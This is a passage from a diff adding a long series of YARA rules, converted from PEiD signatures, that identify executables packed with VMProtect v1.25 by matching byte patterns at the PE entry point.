+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 51 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02812_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 56 50 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02813_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 57 56 52 50 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02814_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 56 53 57 51 52 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02815_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 50 9C 53 56 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02816_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 51 56 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02817_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 51 51 56 50 52 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02818_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 50 56 56 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02819_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 9C 57 56 50 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02820_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 52 57 50 55 53 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02821_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 51 52 53 53 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02822_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 53 52 50 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02823_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 52 53 52 51 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02824_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 56 51 52 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02825_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 51 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02826_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 52 51 9C 53 53 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02827_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 51 56 53 52 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02828_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 53 51 50 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02829_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 51 55 56 53 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02830_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 50 53 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02831_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 57 53 56 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02832_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 53 50 51 51 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02833_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 53 50 54 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02834_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 56 50 51 53 52 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02835_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 51 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02836_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 56 50 52 53 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02837_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 51 53 57 52 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02838_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 52 9C 52 51 57 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02839_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 53 9C 51 57 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02840_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 50 52 51 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02841_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 51 53 50 52 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02842_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 57 9C 51 53 52 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02843_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 51 52 55 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02844_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 53 54 57 55 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02845_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 57 56 52 55 50 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02846_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 9C 57 52 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02847_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 50 53 51 57 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02848_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 57 51 53 9C 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02849_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 9C 51 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02850_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 57 53 57 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02851_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 55 53 51 50 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02852_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 57 51 55 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02853_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 50 53 9C 57 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02854_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 52 9C 55 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02855_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 52 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02856_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 53 9C 57 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02857_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 9C 51 50 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02858_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 50 9C 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02859_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 51 55 9C 50 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02860_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 51 9C 52 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02861_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 52 51 55 57 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02862_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 57 52 50 51 51 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02863_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 9C 55 50 54 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02864_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 50 51 57 50 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02865_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 57 54 53 9C 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02866_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 9C 52 50 53 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02867_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 52 57 50 57 51 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
